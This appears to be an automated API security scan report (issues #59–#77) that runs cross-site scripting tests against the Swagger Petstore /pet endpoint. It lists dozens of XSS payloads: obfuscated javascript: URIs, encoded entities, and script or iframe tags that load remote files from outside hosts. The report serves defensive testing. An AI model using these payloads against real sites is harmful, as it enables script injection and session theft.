<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 176 <b>Full response:</b> <pre>{\"id\":9216678377732943849,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"&lt;BODY ONLOAD=alert('XSS')&gt;\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#59				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td>{\"id\":0,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}</td></tr> </table>	Name	Value	Request \$.photoUrls[0]	{\"id\":0,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"<STYLE>@import'http://soapui.org/xss.css';</STYLE>\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}
Name	Value				
Request \$.photoUrls[0]	{\"id\":0,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"<STYLE>@import'http://soapui.org/xss.css';</STYLE>\"],\"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 200 <b>Full response:</b> <pre>{\"id\":9216678377732943857,\"category\":{\"id\":0,\"name\":\"string\"},\"name\":\"doggie\", \"photoUrls\":[\"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;\"], \"tags\":[{\"id\":0,\"name\":\"string\"}],\"status\":\"available\"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#60				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["i½scripti½alert(i½XSSi½)i½/scripti½"],"tags":[{"id":0,"name":"string"},"status":"available"]}</td></tr> </table>	Name	Value	Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["i½scripti½alert(i½XSSi½)i½/scripti½"],"tags":[{"id":0,"name":"string"},"status":"available"]}
Name	Value				
Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["i½scripti½alert(i½XSSi½)i½/scripti½"],"tags":[{"id":0,"name":"string"},"status":"available"]}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 191</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943865,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["i½scripti½alert(i½XSSi½)i½/scripti½"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request 'i½scripti½alert(i½X... ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#61				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.photoUrls[0]</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;FRAMESET&gt;&lt;FRAME SRC=\"\\javascript:alert('XSS')\"&gt;&lt;/FRAMESET&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</td></tr> </table>	Name	Value	Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<FRAMESET><FRAME SRC=\"\\javascript:alert('XSS')\"></FRAMESET>"],"tags":[{"id":0,"name":"string"},"status":"available"]}
Name	Value				
Request \$.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<FRAMESET><FRAME SRC=\"\\javascript:alert('XSS')\"></FRAMESET>"],"tags":[{"id":0,"name":"string"},"status":"available"]}				
<b>Response</b>	No content				
<b>Alerts</b>	<ul style="list-style-type: none"> <li>• Sensitive Information Exposure: null/empty response body</li> <li>• Cross Site Scripting Detection: null/empty response body</li> </ul>				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#62				

<b>Scan</b>	Cross Site Scripting
<b>Severity</b>	ERROR
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1
<b>Test Step</b>	POST

Modified Parameters	Name	Value
	Request \$.photoUrls[0]	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"],"tags":[{"id":0,"name":"string"},"status":"available"]}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 210 <b>Full response:</b> <pre>{ "id":9216678377732943885,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>	
Alerts	Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#63	

Scan	Cross Site Scripting	
Severity	ERROR	
Endpoint	https://petstore.swagger.io/v2/pet	
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
Test Step	POST	
Modified Parameters	Name	Value
	Request \$.photoUrls[0]	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"],"tags":[{"id":0,"name":"string"},"status":"available"]}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 264 <b>Full response:</b> <pre>{ "id":9216678377732943888,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;"],"tags":[{"id":0,"name":"string"},"status":"available"]}</pre>	
Alerts	Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter Request \$.photoUrls[0] will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#64	

Scan	Cross Site Scripting	
Severity	ERROR	
Endpoint	https://petstore.swagger.io/v2/pet	
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
Test Step	POST	
Modified Parameters	Name	Value
	Request \$.photoUrls[0]	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"],"tags":[{"id":0,"name":"string"},"status":"available"]}

<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 208 <b>Full response:</b> <pre>{ "id":9216678377732943899,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["Redirect 302 /a.jpg http://soapui.org/admin.asp&amp;deleteuser"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht...' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.photoUrls[0]</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#65

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td><pre>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;PLAINTEXT&gt;"}],"status":"available"}</pre></td></tr> </table>	Name	Value	Request \$.tags[0].name	<pre>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;PLAINTEXT&gt;"}],"status":"available"}</pre>
Name	Value				
Request \$.tags[0].name	<pre>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;PLAINTEXT&gt;"}],"status":"available"}</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 161 <b>Full response:</b> <pre>{ "id":9216678377732943911,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;PLAINTEXT&gt;"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#66				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td><pre>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;"}],"status":"available"}</pre></td></tr> </table>	Name	Value	Request \$.tags[0].name	<pre>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;"}],"status":"available"}</pre>
Name	Value				
Request \$.tags[0].name	<pre>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;"}],"status":"available"}</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 196 <b>Full response:</b> <pre>{ "id":9216678377732943914,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js&gt;&lt;/SCRIPT&gt;"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is				

	exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#67

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=javascript:alert('XSS')&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"}],"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 183</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943916,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=javascript:alert('XSS')&gt;"}],"status":"available"}</pre>				
<b>Alerts</b>	<ul style="list-style-type: none"> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST</li> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST</li> </ul>				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#68				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=JaVaScRiPt:alert('XSS')&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"}],"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 183</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943917,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=JaVaScRiPt:alert('XSS')&gt;"}],"status":"available"}</pre>				
<b>Alerts</b>	<ul style="list-style-type: none"> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST</li> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST</li> </ul>				



<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#69

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"}],"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 193</p> <p><b>Full response:</b></p> <pre>{ "id": 9216678377732943918, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;" } ], "status": "available" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#70				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"}],"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 207</p> <p><b>Full response:</b></p> <pre>{ "id": 9216678377732943921, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;" } ], "status": "available" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#71				

Scan Cross Site Scripting

Severity **ERROR**

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"}],"status":"available"}

Response

**Content-type:** application/json

**Content length:** 286

**Full response:**

```
{"id":9216678377732943922,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"}],"status":"available"}
```

**Alerts** Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST

**Action Points** You should ensure that HTML tags passed into the parameter Request \$.tags[0].name will not be echoed back in the response

**CWE-ID** CWE-79

**Issue Number**

#72

Scan Cross Site Scripting

Severity **ERROR**

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"}],"status":"available"}

Response

**Content-type:** application/json

**Content length:** 367

**Full response:**

```
{"id":9216678377732943923,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"}],"status":"available"}
```

**Alerts** Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00... ' is exposed in response. Possibility for XSS script attack in: POST

**Action Points** You should ensure that HTML tags passed into the parameter Request \$.tags[0].name will not be echoed back in the response

**CWE-ID** CWE-79

**Issue Number**

#73

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 275</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943924,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;"}],"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#74				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 190</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943936,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;"}],"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#75				

Scan	Cross Site Scripting
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Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=//ha.ckers.org/.j>"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<SCRIPT SRC=//ha.ckers.org/.j>"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 180</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943937, "category":{ "id":0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id":0, "name": "&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;" } ], "status": "available" }</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#76				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.tags[0].name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"&lt;iframe src=http://soapui.org/scriptlet.html &lt;"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<iframe src=http://soapui.org/scriptlet.html <"}],"status":"available"}
Name	Value				
Request \$.tags[0].name	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"<iframe src=http://soapui.org/scriptlet.html <"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 196</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943939, "category":{ "id":0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id":0, "name": "&lt;iframe src=http://soapui.org/scriptlet.html &lt;" } ], "status": "available" }</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.tags[0].name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#77				

Scan	Cross Site Scripting		
Severity	ERROR		
